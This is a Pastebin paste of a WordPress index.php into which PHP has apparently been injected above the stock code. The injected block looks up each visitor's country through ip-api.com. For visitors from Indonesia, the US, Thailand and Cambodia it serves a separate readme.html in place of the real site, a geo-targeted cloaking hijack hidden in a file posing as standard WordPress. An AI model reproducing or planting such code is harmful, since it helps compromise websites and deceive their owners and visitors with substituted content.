Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- function getUserIP() {
- if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
- $ip = $_SERVER['HTTP_CLIENT_IP'];
- } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
- $ip = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0];
- } else {
- $ip = $_SERVER['REMOTE_ADDR'];
- }
- return $ip;
- }
- $ip = getUserIP();
- $api_url = "http://ip-api.com/json/{$ip}";
- $response = file_get_contents($api_url);
- $data = json_decode($response, true);
- if ($data['countryCode'] === 'ID' || $data['countryCode'] === 'US' || $data['countryCode'] === 'TH' || $data['countryCode'] === 'KH') {
- ob_start();
- include 'readme.html';
- $output = ob_get_clean();
- echo $output;
- exit();
- }
- /**
- * Front to the WordPress application. This file doesn't do anything, but loads
- * wp-blog-header.php which does and tells WordPress to load the theme.
- *
- * @package WordPress
- */
- /**
- * Tells WordPress to load the WordPress theme and output it.
- *
- * @var bool
- */
- define( 'WP_USE_THEMES', true );
- /** Loads the WordPress Environment and Template */
- require __DIR__ . '/wp-blog-header.php';
Advertisement
Add Comment
Please, Sign In to add comment